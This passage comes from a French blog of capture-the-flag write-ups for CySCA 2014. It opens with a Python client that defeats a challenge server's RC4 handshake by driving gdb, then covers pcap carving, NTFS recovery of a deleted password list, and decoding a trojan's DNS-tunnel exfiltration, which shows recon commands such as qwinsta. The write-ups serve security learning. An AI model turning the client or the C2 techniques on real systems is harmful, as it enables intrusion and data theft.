create_command_file(struct.unpack("I", nonce)[0], rc4_key)

data = s.recv(16)
print "[*] received {0}".format(data.encode("hex_codec"))

# lecture du dump
fd = open("/chroots/2013/rc4_key.txt")
scrambled_key = fd.read(40).decode("hex_codec")
fd.close()

print "[i] scrambled RC4 key =", scrambled_key.encode("hex_codec")
cipher = ARC4.new(scrambled_key)
enc_data = cipher.encrypt("Test12345678\0\0\0\0")
if data != enc_data:
    print "[!] Encryption mismatch!"
    sys.exit()
m = cipher.encrypt("Test12345678\0\0\0\0")
s.send(m)
s.recv(1)
# Here everything should be fine.
Pour vérifier que le RC4 a été correctement mis en place chez le client, le serveur suit les opérations suivantes :
[pid 16149] [0x804a0ab] RC4_set_key(0xffaf1a98, 20, "\027EC&d\227g\016\270\031W\300\330\232\370Z\a\225r\034")                   = <void>
[pid 16149] [0x804a0c6] strncpy(0xffaf1a1c, "Test12345678", 16)                                                                 = 0xffaf1a1c
[pid 16149] [0x804a2c7] RC4(0xffaf1a98, 16, "Test12345678\0\0\0\0", 0xffaf1988)                                                 = <void>
[pid 16149] [0x804a11f] send(4, 0xffaf1988, 16, 0)                                                                              = 16
[pid 16149] [0x804a167] recv(4, 0xffaf1988, 16, 0)                                                                              = 16
[pid 16149] [0x804a2c7] RC4(0xffaf1a98, 16, "\227\200\255\342\227\235\033W\313\354G\033\031\202\207\334", 0xffaf1a1c)           = <void>
[pid 16149] [0x804a1be] strcmp("Test12345678", "Test12345678")                                                                  = 0
Il chiffre "Test12345678" avec la clé et envoie le résultat au client. Ensuite il reçoit une réponse du client en RC4, la déchiffre et regarde s'il s'agit de "Test12345678".
En raison de la notion d'état, le client ne peut pas se contenter de renvoyer ce qu'il a reçu : il faut qu'il chiffre deux fois la chaine et envoie le résultat, d'où le code Python précédent.

A ce stade on a fait une bonne partie. Ensuite le serveur attend 5 octets (chiffrés en RC4) qui après plusieurs tests se révèlent être un numéro de commande (premier octet) et une taille (deux derniers octets).
La lecture qui suit semble se faire via des blocks de 256 octets (256 * la taille spécifiée) . Ainsi si on envoie "\x04\x00\x00\x00\x01" chiffré en RC4 :
[pid 16149] [0x804a341] recv(4, 0xffaf1a27, 5, 0)                                      = 5
[pid 16149] [0x804a361] alarm(30)                                                      = 0
[pid 16149] [0x804a2c7] RC4(0xffaf1a98, 5, "1\026R\314\177", 0xffaf1a03)     = <void>
[pid 16149] [0x804a396] operator new[](unsigned int)(257, 0xffaf1a27, 0xffaf1a03, 5)   = 0x88d32b8
[pid 16149] [0x804a3c4] operator new[](unsigned int)(256, 0xffaf1a27, 0xffaf1a03, 5)   = 0x88d33c0
[pid 16149] [0x804a41e] recv(4, 0x88d33c0, 256, 0)                                     = 256
Une fois qu'il a lu ses 256 octets ils les déchiffre via RC4 puis il procède un découpage de la chaîne obtenue via strtok (avec le séparateur ';').

Je me suis aussi rendu compte assez vite que si le premier des 5 octets précédent vaut 0 alors on semble entrer dans un mode de débogage :
RE03: Unknown Command Type: SeqID:0
Arg(0) = chaine_avant_point_virgule
Arg(1) = chaine_apres_point_virgule
On sait donc à quoi correspond les paquets que l'on envoie :)
Le parseur de ces 5 octets se trouve à l'adresse 0x0804aadb où l'on trouve un switch/case sur le premier octet :
|    0x0804aa0b    0fb6c0       movzx eax, al
|    0x0804aa0e    83f805       cmp eax, 5
|,=< 0x0804aa11    0f87a4000000 ja 0x804aabb
||   0x0804aa17    8b0485c0c90. mov eax, dword [eax*4 + 0x804c9c0] ; [:4]=0x804aa00
`==< 0x0804aa1e    ffe0         jmp eax
L'adresse de saut pour chacun des cas s'obtient facilement avec radare2 ou gdb :
(gdb) x/6wx 0x804c9c0
0x804c9c0:      0x0804aabb      0x0804aa5c      0x0804aa20      0x0804aa3e
0x804c9d0:      0x0804aa7e      0x0804aaa0
En jetant un œil à chaque case on en tire deux du lots :
  • case 3 : permet de lister le contenu d'un dossier, l'argument est alors le nom du dossier
  • case 4 : permet de récupérer le contenu d'un fichier. Les opérations sont faites en C++ via ifstream.
A ce stade on comprend que le flag n'est pas sous forme chiffrée dans le binaire et donc qu'il va vraiment falloir s'occuper de la fonction de mélange de la clé car on ne peut pas tracer le binaire sur le serveur du challenge :p

Mais n'ayant toujours pas envie de lire ce code assembleur j'ai choisi de le réutiliser en l'appelant directement depuis gdb.

Le prototype de la fonction est le suivant : scramble_key(CTX, nonce, sha1).
L'idée est donc de placer dans la mémoire du processus local une nonce et un hash sha1 de notre choix puis de forcer EIP à l'adresse de la fonction. On peut ensuite lire le résultat dans la mémoire du processus.

Mais on ne peut pas le faire n'importe comment : le programme a besoin de s'initialiser. On va donc commencer par mettre un breakpoint sur l'adresse de la fonction principale du programme (celle qui commence par getuid soit 0x0804be54) avant de forcer le saut vers les instructions que voici qui mettent sur la pile les arguments pour notre fonction cible :
0x0804a075    89542408     mov dword [esp + 8], edx ; [:4]=0
0x0804a079    89442404     mov dword [esp + 4], eax ; [:4]=0x10100
0x0804a07d    8b85e4feffff mov eax, dword [ebp - 0x11c]
0x0804a083    890424       mov dword [esp], eax
0x0804a086    e8c9fcffff   call scramble_key
0x0804a08b    8b85e4feffff mov eax, dword [ebp - 0x11c]
0x0804a091    8d500c       lea edx, dword [eax + 0xc]
0x0804a094    8d45d0       lea eax, dword [ebp - 0x30]
0x0804a097    89442408     mov dword [esp + 8], eax ; [:4]=0
0x0804a09b    c7442404140. mov dword [esp + 4], 0x14 ; [:4]=0x10100
0x0804a0a3    891424       mov dword [esp], edx
0x0804a0a6    e895f2ffff   call sym.imp.RC4_set_key
Donc il faut que l'on break sur le début, que l'on place le hash SHA1 en mémoire (on utilisera pour cela la pile, en particulier les adresses les plus basses car non-utilisées), que l'on fixe edx et eax (3ème et second argument), que l'on step 3 fois (pour arriver sur 0x0804a083) et que l'on refixe eax (premier argument).
Ensuite on break après l'appel de scramble_key() (par exemple à 0x0804a097) et on dumpe la zone mémoire de notre hash modifié... ouf.

Mettons que la nonce soit 0xc0aa44f7, que la hash soit 2f510f61f09285f01f59b4816ced908b4fb1a0c7 et que l'on souhaite écrire en mémoire à partir de l'adresse 0xfffdd000 alors on aura le fichier de commandes GDB suivant :
b *0x0804be54
b *0x0804a075
r
set $eip=0x0804a075
c
set {int}0xfffdd000 = 0x610f512f
set {int}0xfffdd004 = 0xf08592f0
set {int}0xfffdd008 = 0x81b4591f
set {int}0xfffdd00c = 0x8b90ed6c
set {int}0xfffdd010 = 0xc7a0b14f
set $edx=0xfffdd000
set $eax=0xf744aac0
si
si
si
set $eax=0xfffdd014
b *0x0804a097
c
dump binary memory /tmp/result.bin 0xfffdd000 0xfffdd014
Ce qui nous donne le client Python suivant :
import socket
import hashlib
import sys
from Crypto.Cipher import ARC4
import time
import struct
import os

key = "!!!Zer0IsTheCoolest!!!"

def create_command_file(nonce, key):
    fd = open("/tmp/gdb_commands.txt", "w")
    fd.write("b *0x0804be54\n")
    fd.write("b *0x0804a075\n")
    fd.write("r\n")
    fd.write("set $eip=0x0804a075\n")
    fd.write("c\n")
    start_addr = 0xfffdd000
    hex_values = [hex(x) for x in struct.unpack("IIIII", key)]
    for i, hex_val in enumerate(hex_values):
        fd.write("set {{int}}{0} = {1}\n".format(hex(start_addr + (4 * i)), hex_val))
    fd.write("set $edx={0}\n".format(hex(start_addr)))
    fd.write("set $eax={0}\n".format(hex(nonce)))
    fd.write("si\n" * 3)
    fd.write("set $eax=0xfffdd014\n")
    fd.write("b *0x0804a097\n")
    fd.write("c\n")
    fd.write("dump binary memory /tmp/result.bin 0xfffdd000 0xfffdd014\n")
    fd.close()

s = socket.socket()
s.connect(('192.168.1.64', 7821))
print "[*] Connecting to server"
buff = "LUK_MURPHY\0"
buff += "\0" * (64 - len(buff))
s.send(buff)
nonce = s.recv(4)
print "[i] AUTH nonce = {0}".format(nonce.encode("hex_codec"))
s.send(hashlib.sha1(nonce + key + nonce).digest())
status = ord(s.recv(1)[0])

if status:
    print "[!] AUTH: failure"
    sys.exit()
print "[i] AUTH: success"

nonce = s.recv(4)
print "[i] RC4 nonce = {0}".format(nonce.encode("hex_codec"))

rc4_key = hashlib.sha1(key + nonce).digest()
print "[i] rc4_key = {0}".format(rc4_key.encode("hex_codec"))

print "[*] Launching gdb session"
create_command_file(struct.unpack("I", nonce)[0], rc4_key)

data = s.recv(16)
print "[*] received {0}".format(data.encode("hex_codec"))

if os.path.isfile("/tmp/result.bin"):
    os.unlink("/tmp/result.bin")
os.system("gdb -q -batch -x /tmp/gdb_commands.txt /tmp/binary3")
scrambled_key = open("/tmp/result.bin").read()

print "[i] scrambled RC4 key =", scrambled_key.encode("hex_codec")
cipher = ARC4.new(scrambled_key)
enc_data = cipher.encrypt("Test12345678\0\0\0\0")
if data != enc_data:
    print "[!] Encryption mismatch!"
    sys.exit()
m = cipher.encrypt("Test12345678\0\0\0\0")
s.send(m)
s.recv(1)

time.sleep(1)
arg = "."
m = cipher.encrypt("\x03\x00\x00\x00\x01")
s.send(m)
m = cipher.encrypt(arg + "\0" * (256 - len(arg)))
s.send(m)
buff = s.recv(100)
m = cipher.decrypt(buff)
print repr(m)
s.close()
Résultat :
[*] Connecting to server
[i] AUTH nonce = c41433df
[i] AUTH: success
[i] RC4 nonce = c69b84d1
[i] rc4_key = 3cb8a2e721b7d9fcdf9e389764453727d6c30483
[*] Launching gdb session
[*] received 04675f49391c58eb88d17365f68ab3d7

Breakpoint 1 at 0x804be54
Breakpoint 2 at 0x804a075

Breakpoint 1, 0x0804be54 in ?? ()

Breakpoint 2, 0x0804a075 in ?? ()
0x0804a079 in ?? ()
0x0804a07d in ?? ()
0x0804a083 in ?? ()
Breakpoint 3 at 0x804a097
RE03: Scrambling Key

Breakpoint 3, 0x0804a097 in ?? ()
[i] scrambled RC4 key = 64c9f0ccbfd2f17a4f46b5a437f60790ae52ed4b
'\x03\x00\x00\x00&\x00lib;.;dev;bin;..;etc;thisistheflag.txt'
Yes ! On change ensuite l'argument pour thisistheflag.txt et l'octet de commande de 3 à 4 :
[*] Connecting to server
[i] AUTH nonce = 4161302f
[i] AUTH: success
[i] RC4 nonce = bf2b7c69
[i] rc4_key = 3908370f4dade34761a2dc81dfc784c02fd78df3
[*] Launching gdb session
[*] received 854d3873689865b3a63e3fc49611f580

Breakpoint 1 at 0x804be54
Breakpoint 2 at 0x804a075

Breakpoint 1, 0x0804be54 in ?? ()

Breakpoint 2, 0x0804a075 in ?? ()
0x0804a079 in ?? ()
0x0804a07d in ?? ()
0x0804a083 in ?? ()
Breakpoint 3 at 0x804a097
RE03: Scrambling Key

Breakpoint 3, 0x0804a097 in ?? ()
[i] scrambled RC4 key = 3452e8b6ae6fa9b9be279a5061f26624c4542e08
'\x04\x00\x00\x00\x1d\x00HandleLoganNepenthes415\n\x99\xdft\xc81'
ROOT DANCE !!!

Classé dans : Non classé - Mots clés : aucun

Solution du Cyber-Security Challenge Australia 2014 (Network Forensics)

Rédigé par devloop - -

Après avoir résolu la partie web du CySCA 2014 j'avais le choix quand au domaine sur lequel jeter mon dévolu.
Assez rapidement j'ai choisi de passer à la partie inforensique (baptisée ici Network Forensics mais comme vous verrez il n'est pas uniquement question de réseau) :)
Let's go !

Not Enough Magic (120 points)

On doit retrouver un flag passablement caché dans un fichier pcap.
J'ai ouvert la capture dans un premier temps avec Wireshark pour remarquer qu'il ne s'agit que de requêtes et réponses HTTP.
Du coup je suis passé immédiatement à Chaosreader qui n'est sans doute pas l'outil le plus sexy (en plus il est écrit en Perl)... mais il fait le job (promis, un jour j'utiliserais Xplico).
Il faut d'abord créer un dossier (ici outdir) où seront stockés les données extraites pour le spécifier à Chaosreader :
$ ./chaosreader -D outdir 86590ed37efccf55b78f404ae6be09f0-net01.pcap 
$* is no longer supported at ./chaosreader line 265.
Chaosreader ver 0.94

Opening, 86590ed37efccf55b78f404ae6be09f0-net01.pcap

Reading file contents,
 100% (1074826/1074826)
Reassembling packets,
 100% (518/698)

Creating files...
   Num  Session (host:port <=> host:port)              Service
  0005  10.0.0.103:53470,172.16.1.80:80                www-http
  0003  10.0.0.103:53468,172.16.1.80:80                www-http
  0002  10.0.0.103:53467,172.16.1.80:80                www-http
  0001  10.0.0.103:53466,172.16.1.80:80                www-http
  0004  10.0.0.103:53469,172.16.1.80:80                www-http

index.html created.
Et en faisant un simple "file" sur les fichiers de session générés... on trouve la solution dans un tag EXIF d'une image :
$ file session_0001.*
session_0001.part_01.gz:    gzip compressed data, from Unix
session_0001.part_02.gz:    gzip compressed data, was "43c20729bb03986ca09dc18974c994ec", last modified: Mon Feb 24 01:26:52 2014, from Unix
session_0001.part_03.jpeg:  JPEG image data, JFIF standard 1.01, comment: "CreamRainySpecify702"
session_0001.part_04.jpeg:  JPEG image data, JFIF standard 1.01
session_0001.part_05.data:  PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
session_0001.part_06.data:  Standard MIDI data (format 1) using 21 tracks at 1/144
session_0001.part_07.data:  data
session_0001.www-http.html: HTML document, ASCII text, with very long lines, with CRLF, CR, LF line terminators
Encore plus simple que prévu :p

Notwork Forensics (200 points)

On nous indique que la capture fournie est celle d'un échange entre deux criminels suspectés.
Un survol du pcap permet d'y discerner une communication IRC sur le port 6667 ainsi qu'un gros échange de données sur des ports hauts qui semble être une connexion peer2peer.

La conversation IRC est la suivante :
CAP LS
NICK otherbadguy
USER dishadmin dishadmin 172.16.1.80 :dishadmin
:irc.localhost 020 * :Please wait while we process your connection.
:irc.localhost 001 otherbadguy :Welcome to the Internet Relay Network otherbadguy!~dishadmin@10.0.0.104
:irc.localhost 002 otherbadguy :Your host is irc.localhost, running version 2.11.2p2
--- snip ---
:irc.localhost 376 otherbadguy :End of MOTD command.
PING LAG1393413991419450
:irc.localhost PONG irc.localhost :LAG1393413991419450
:badguy!~root@10.0.0.103 PRIVMSG otherbadguy :The goose chased the fallen cloud.
PRIVMSG badguy :what wait? O_o
PRIVMSG badguy :did you follow my instructions?
:badguy!~root@10.0.0.103 PRIVMSG otherbadguy :i've encrypted the file
PRIVMSG badguy :what about the password?
PING LAG1393414021454751
:irc.localhost PONG irc.localhost :LAG1393414021454751
:badguy!~root@10.0.0.103 PRIVMSG otherbadguy :i've overwritten the password file like you said and deleted it
PRIVMSG badguy :just to be safe, send me a copy
:badguy!~root@10.0.0.103 PRIVMSG otherbadguy :one sec
:badguy!~root@10.0.0.103 PRIVMSG otherbadguy :.DCC SEND diskimage.gz 199 0 3230287 55.
PRIVMSG badguy :.DCC SEND diskimage.gz 167772264 37376 3230287 55.
PING LAG1393414051488468
:irc.localhost PONG irc.localhost :LAG1393414051488468
PRIVMSG badguy :i'll let you know... same time tomorrow
QUIT :Leaving
ERROR :Closing Link: otherbadguy[~dishadmin@10.0.0.104] ("Leaving")
Le fichier transféré via DCC (à exporter depuis Wirewark après un Follow stream) est un fichier de 32Mo identifié comme "DOS/MBR boot sector" après décompression.

Un hexdump rapide permet de déterminer qu'il s'agit bien d'une image disque (d'où le nom de fichier transféré) avec une partition NTFS.
Les distributions Linux modernes disposent d'un outil baptisé kpartx qui rend vraiment simple le montage de disques :
# kpartx -av diskimage 
add map loop0p1 (254:2): 0 59392 linear /dev/loop0 128
Ici une seule partition détectée dans l'image. Le périphérique loop0p1 a été ajouté au système, il suffit de le monter et d'explorer avec le gestionnaire de fichiers de son choix.
# mount /dev/mapper/loop0p1 /mnt/
Dans la corbeille (/mnt/$RECYCLE.BIN/) on trouve une référence à un fichier F:\files\My Secret Passwords.txt. Toutefois on ne trouve rien de plus intéressant.
Le démontage se fait de cette façon :
# umount /mnt
# kpartx -d diskimage
loop deleted : /dev/loop0
J'ai décidé de passer à l'étape suivante en utilisant Sleuthkit à la recherche de fichiers effacés.
# fdisk -l diskimage

Disk diskimage: 32 MiB, 33554432 bytes, 65536 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xa54645b7

Device     Boot Start   End Sectors Size Id Type
diskimage1        128 59519   59392  29M  7 HPFS/NTFS/exFAT
La partition commence au secteur 128. On doit l'indiquer à fls pour travailler :
# fls -f ntfs -o 128 diskimage 
r/r 4-128-4:    $AttrDef
r/r 8-128-2:    $BadClus
r/r 8-128-1:    $BadClus:$Bad
r/r 6-128-4:    $Bitmap
r/r 7-128-1:    $Boot
d/d 11-144-4:   $Extend
r/r 2-128-1:    $LogFile
r/r 0-128-1:    $MFT
r/r 1-128-1:    $MFTMirr
d/d 35-144-1:   $RECYCLE.BIN
r/r 9-128-8:    $Secure:$SDS
r/r 9-144-11:   $Secure:$SDH
r/r 9-144-14:   $Secure:$SII
r/r 10-128-1:   $UpCase
r/r 3-128-3:    $Volume
d/d 38-144-8:   files
r/r 74-128-1:   How NTFS Works Local File Systems.htm
d/d 42-144-6:   How NTFS Works Local File Systems_files
r/r 39-128-1:   New Technology File System (NTFS) - Forensics Wiki.htm
r/r 40-128-1:   NTFS - SleuthKitWiki.htm
r/r 41-128-1:   NTFS - Wikipedia, the free encyclopedia.htm
d/d 58-144-6:   NTFS - Wikipedia, the free encyclopedia_files
d/d 17-144-4:   System Volume Information
d/d 768:        $OrphanFiles
On fouille dans le dossier files :
$ fls -f ntfs -o 128 diskimage 38-144-8
Et on trouve une bonne quantité de fichiers dont voici les derniers :
-/r * 589-128-1:        secret.7z
-/r * 591-128-1:        secret.db
-/r * 592-128-1:        secret.png
La récupération d'un fichier se fait à l'aide d'icat :
$ icat -f ntfs -i raw -o 128 diskimage 589-128-1 > secret.7z
Seulement l'archive 7z est protégée par mot de passe... shit !
Path = secret.7z
Type = 7z
Method = LZMA 7zAES
Solid = -
Blocks = 1
Physical Size = 167
Headers Size = 135

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2014-02-25 01:20:49 ....A           20           32  secret.txt
------------------- ----- ------------ ------------  ------------------------
J'ai généré une timeline de l'activité du disque avec mactime dans l'espoir de découvrir d'autres informations :
$ fls -f ntfs -r -p -m C: -o 128 diskimage > body.txt
$ mactime -b body.txt > mactime.txt
Malheureusement je n'ai pas vu de très intéressant.
Obtenir des infos concernant un fichier sur la partition se fait à l'aide de istat :
$ istat -f ntfs -i raw -o 128 diskimage 589
MFT Entry Header Values:
Entry: 589        Sequence: 2
$LogFile Sequence Number: 1666744
Not Allocated File
Links: 1

$STANDARD_INFORMATION Attribute Values:
Flags: Archive
Owner ID: 0
Security ID: 265  (S-1-5-21-2229788878-2747424913-2242611199-1000)
Created:        2014-02-27 01:08:08 (CET)
File Modified:  2014-02-25 01:36:15 (CET)
MFT Modified:   2014-02-27 01:08:08 (CET)
Accessed:       2014-02-27 01:08:08 (CET)

$FILE_NAME Attribute Values:
Flags: Archive
Name: secret.7z
Parent MFT Entry: 38    Sequence: 1
Allocated Size: 0       Actual Size: 0
Created:        2014-02-27 01:08:08 (CET)
File Modified:  2014-02-27 01:08:08 (CET)
MFT Modified:   2014-02-27 01:08:08 (CET)
Accessed:       2014-02-27 01:08:08 (CET)

Attributes: 
Type: $STANDARD_INFORMATION (16-0)   Name: N/A   Resident   size: 72
Type: $FILE_NAME (48-2)   Name: N/A   Resident   size: 84
Type: $DATA (128-1)   Name: N/A   Resident   size: 167
Pour la petite info, 589 est le numéro du fichier secret.7z dans la Master File Table (qui est une sorte d'annuaire des fichiers sous NTFS).
Ensuite sur l'entrée de la MFT viennent s'ajouter différents attributs numérotés eux aussi comme le nom du fichier ($FILE_NAME, numéroté 48-2 qui contient le nom long et le nom DOS), $STANDARD_INFORMATION qui contient les droits d'accès et $DATA qui comme son nom l'indique contient le contenu du fichier.
Ici le fichier est de petite taille (167 octets) et est résident, son contenu est stocké dans la MFT (j'y reviens plus tard).
Avec les Alternate Data Stream un fichier peut avoir plusieurs attributs $DATA, ce qui n'est pas le cas ici.

En explorant via fls le dossier $RECYCLE.BIN on apperçoit un fichier $ISH2ZGB.txt d'index 76 dans la MFT.
Les données de ce fichier contiennent la référence au fichier de mots de passes vu plus tôt.
$ icat -f ntfs -i raw -o 128 -s diskimage 76-128-1 |hexdump -C
00000000  01 00 00 00 00 00 00 00  f0 03 00 00 00 00 00 00  |................|
00000010  80 b2 38 db 50 33 cf 01  46 00 3a 00 5c 00 66 00  |..8.P3..F.:.\.f.|
00000020  69 00 6c 00 65 00 73 00  5c 00 4d 00 79 00 20 00  |i.l.e.s.\.M.y. .|
00000030  53 00 65 00 63 00 72 00  65 00 74 00 20 00 50 00  |S.e.c.r.e.t. .P.|
00000040  61 00 73 00 73 00 77 00  6f 00 72 00 64 00 73 00  |a.s.s.w.o.r.d.s.|
00000050  2e 00 74 00 78 00 74 00  00 00 00 00 00 00 00 00  |..t.x.t.........|
00000060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
C'est un fichier spécial de la corbeille dont le format est le suivant :
  • Octets 0 à 7 : header
  • Octets 8 à 15 : taille du fichier en litlle endian donc 0x03f0 soit 1008 octets.
Or le fichier $RSH2ZGB.txt lui aussi dans la corbeille fait 1008 octets mais commence par un lorem ipsum... Ce n'est donc pas la liste de mots de passe que l'on espérait.
On peut en déduire le le fichier "My Secret Passwords.txt" a été écrasé par un fichier contenant le lorem ipsum avant d'être placé dans la corbeille.

Toutefois on suppose que le fichier contenant les mots de passe est de très petite taille.
Or le système de fichier NTFS peut, dans un souci de performance, stocker directement le contenu de fichiers dans la Master File Table s'ils sont de petite taille comme indiqué sur NTFS.com.
Par conséquent, l'écrasement effectué par l'un des suspects n'a pas réellement eu lieu : les nouvelles données sensées écraser les précédentes ont été placées ailleurs sur le disque car la MFT ne peut pas inclure un fichier de 1008 octets. L'ancien fichier a quand à lui du être seulement désindexé de la MFT.

On a vu que les fichiers qui nous concernent sont à la fin de l'index (numéros de MFT 589, 590, 591...).
Il suffit alors d'extraire la MFT via icat (la MFT a l'index 0), d'appeler dessus srch_strings (l'outil fournit par Sleuthkit qui remplace agréablement le programme strings de base) pour extraire les chaines de caractères et commencer à lire par la fin puis remonter l'output généré.

Après une longue série de FILE0 on fini par tomber sur ça :
FILE0
j9Bb
FILE0
skype
1~^bK6dA0>1rHX5j
instagram
M_8!58/;Wklng:h0
phone pin
902485
7z file
nRkmrtp2("u8~/ph
bank login
r0wvh1
FILE0
FILE0
FILE0
Il s'agit en fait d'une suite de lignes avec tour à tour la description du password (ex: instagram) et le password lui-même.
La décompression du fichier 7z s'effectue ainsi avec succès en utilisant le mot de pase nRkmrtp2("u8~/ph.
Pour plus de détails les données se trouvaient dans le cluster 2621 entre les entrée de MFT 588 et 589 mais je n'ai pas trouvé de manière directe d'obtenir ces coordonnées...

Une fois le fichier décompressé on obtient le flag WhiteBelatedBlind439.

AYBABTU (280 points)

La description de l'exercice est la suivante :
RL Forensics Inc. has supplied a network capture from one of their customers that was infected with trojan malware. The customer was able to capture a command and control session of the trojan communicating with the criminals server. They would like to know what data was stolen by criminals. Analyse the communications, determine the custom protocol and extract the stolen information to reveal the flag
Pour faire court le pcap contient des requêtes et réponses DNS qui exfiltrent des données en utilisant différents encodages. On remarque rapidement un encodage propre du base64 qui est en réalité du base32. Cet encodage est justement utilisé par des outils existants de tunnel DNS comme Ozyman et Iodine.

J'ai écrit le parseur suivant qui simplifie la lecture du pcap en réduisant la quantité d'information. J'ai utilisé à la fois Impacket et dpkt ce qui n'est probablement pas la solution la plus élégante mais je n'ai pas pris la peine de mettre au propre.
import pcapy
from impacket import ImpactDecoder, ImpactPacket
import fcntl
import dpkt

sniff = pcapy.open_offline("74db9d6b62579fea4525d40e6848433f-net03.pcap")
decoder = ImpactDecoder.EthDecoder()
 
while True:
    try:
        (header, packet) = sniff.next()
        ethernet = decoder.decode(packet)
     
        if ethernet.get_ether_type() == ImpactPacket.IP.ethertype: # IP
            ip = ethernet.child()
            if ip.get_ip_p() == ImpactPacket.UDP.protocol:
                udp = ip.child()
                dns_data = udp.child().get_buffer_as_string()
                dns = dpkt.dns.DNS(dns_data)
                if dns.qr == dpkt.dns.DNS_Q:
                    if dns.opcode == dpkt.dns.DNS_QUERY:
                        if len(dns.qd) == 1:
                            if dns.qd[0].type == dpkt.dns.DNS_TXT:
                                print "> ID {0:0>4X} {1}".format(dns.id, dns.qd[0].name)
                else:
                    if len(dns.qd) == 1 and len(dns.an) == 1:
                        if dns.qd[0].type == dpkt.dns.DNS_TXT:
                            print "< ID {0:0>4X} {1}".format(dns.id, dns.an[0].rdata[1:])
                continue
            if ip.get_ip_p() == ImpactPacket.TCP.protocol:
                continue
            if ip.get_ip_p() == ImpactPacket.ICMP.protocol:
                continue
    except pcapy.PcapError:
        break
On obtient des lignes comme celles-ci avec la direction du flux, l'ID de la requête DNS et le nom de domaine demandé.
> ID AACE aaaaabqaaaaaaaaaaaaaaaaa-0ba3b5e1a2890d89.badguy.com
> ID C101 aaaaabyaaaaaaaaaaaaaaaaa-3c54c28c7e41d37f.badguy.com
> ID CBC5 aaaaacaaaaaaaaaaaaaaaaaa-2262036a89a89375.badguy.com
> ID 77BE aaaaaciaaaaaaaaaaaaaaaaa-3e1b5aad07715a93.badguy.com
> ID 0107 aaaaacqaaaaaaaaaaaaaaaaa-4b13e4a194124c21.badguy.com
> ID 34D9 aaaaacyaaaaaaaaaaaaaaaaa-dbd8b82da7db86f7.badguy.com
Evidemment on remarque tout de suite des données hexadécimales. La première partie du nom de domaine semble s'incrémenter et je me suis dis que le seul objectif est d’empêcher une mise en cache, je ne suis donc pas allé plus loin. Quand aux ID DNS j'ai estimé qu'ils étaient générés automatiquement par une librairie utilisée et n'avaient donc pas d'importance.

A ces requêtes il y a parfois un retour sous la forme d'un enregistrement TXT en base64 :
< ID 042D AAAADAAAAAwAAAN4nGNgYEgBAABoAGU=
< ID BEAB AAAAWAAAABQAAAV4nEu2iinPzEvJLy+OSQQAHhAEwg==
< ID BEAB AAAAWAAAABQAAAV4nEu2iinPzEvJLy+OSQQAHhAEwg==
dans beaucoup de cas la réponse a une taille fixe et est sans doute une sort d'ACK.
< ID 0C38 AAAADwAAAAAAAAA=
< ID 5B6E AAAAEAAAAAAAAAA=
Enfin on trouve des requêtes DNS en base32 de très longue taille :
> ID 169B aaaacjiaaaammaaaaz4jzdopjvv4eqaqy3yxwig74e4svrbyxnexyq54eqgxrm.auqwp---snip---q4c.vd6wykuiuti4a34bao3wlimtzh2pcu5wrdz4f6punu3skkcedlyk5x4nawlx-c8.badguy.com
J'ai commencé par extraire les données hexadécimales du premier type de requêtes. En modifiant quelque peu le script précédent ou peut dumper les données qui nous intéressent :
if dns.opcode == dpkt.dns.DNS_QUERY:
    if len(dns.qd) == 1:
        if dns.qd[0].type == dpkt.dns.DNS_TXT:
            server = dns.qd[0].name
            if len(server) == 52:
                raw = server[25:41].decode("hex_codec")
                fd.write(raw)
Mais à regarder de plus près ces données ne semblent pas donner d'informations utiles...
J'ai testé de casser un éventuel chiffrement XOR avec xor-analyse sans succès :(

J'ai préféré m'en remettre à l'indice donné pour ce level :
Hrmm... 78 9C seems like a header of some kind?

Après recherche ce header correspond effectivement à une compression zlib.

Le header 789c apparaît à deux reprises dans le dump... Mais là encore les tentatives d'obtenir une information utile sont vaines.

Je me suis alors attaqué au second type de requêtes que l'on trouve : les réponses DNS encodées en base64.
Une fois décodées on s’aperçoit que le début de chaque réponse est quasiment toujours le même (\x00\x00\x01...).
>>> s = "AAAAMQAAABwAAAF4nMvNTsksUki2iokpz8xLyS8vjolJBABPkwex"
>>> base64.b64decode(s)
'\x00\x00\x001\x00\x00\x00\x1c\x00\x00\x01x\x9c\xcb\xcdN\xc9,RH\xb6\x8a\x89)\xcf\xccK\xc9//\x8e\x89I\x04\x00O\x93\x07\xb1'
>>> zlib.decompress(base64.b64decode(s)[11:])
'mkdir c:\\\\windows\\\\a'
>>> 0x1c
28
>>> len(base64.b64decode(s)[11:])
28
On a donc une forme d'entête applicatif qui correspond aux 10 premiers octets.
Au 11ème octet on trouve l'entête zlib (x\x9c).
Selon moi l'entête se coupe en 3 : 4 octets pour le type de communication (que j'ai baptisé bêtement x), 4 octets pour la longueur du corps (length, la taille des données compressées) et 2 octets qui marquent un numéro de paquet (s'il est à 0 on sait qu'on à affaire à un nouveau flux) que j'ai nommé blk.

Voici le code pour dumper ces réponses DNS :
import pcapy
from impacket import ImpactDecoder, ImpactPacket
import fcntl
import dpkt
import base64
import zlib
import struct

sniff = pcapy.open_offline("74db9d6b62579fea4525d40e6848433f-net03.pcap")
decoder = ImpactDecoder.EthDecoder()
 
i = 0
data = ""

while True:
    try:
        (header, packet) = sniff.next()
        ethernet = decoder.decode(packet)
     
        if ethernet.get_ether_type() == ImpactPacket.IP.ethertype: # IP
            ip = ethernet.child()
            if ip.get_ip_p() == ImpactPacket.UDP.protocol:
                udp = ip.child()
                dns_data = udp.child().get_buffer_as_string()
                dns = dpkt.dns.DNS(dns_data)
                if dns.qr != dpkt.dns.DNS_Q:
                    if len(dns.qd) == 1 and len(dns.an) == 1:
                        if dns.qd[0].type == dpkt.dns.DNS_TXT:
                            buff = base64.b64decode(dns.an[0].rdata[1:])
                            header = buff[:10]
                            body = buff[11:]
                            x, length, blk = struct.unpack(">IIH", header)

                            # beginning of a new stream, dump the existing data
                            if blk == 0 and data:
                                fd = open("file{0:02}".format(i), "w")
                                fd.write(zlib.decompress(data))
                                fd.close()
                                i += 1
                                data = ""

                            data += body

                continue
    except pcapy.PcapError:
        break

if data:
    fd = open("file{0:02}".format(i+1), "w")
    fd.write(zlib.decompress(data))
    fd.close()
Cela génère des fichiers 0 à 10 dont voici le contenu :
mkdir c:\\windows\\a
c:\windows\a
@echo off 
echo %computername% >> c:\windows\a\%computername%_base.dat 
qwinsta >> c:\windows\a\%computername%_base.dat 
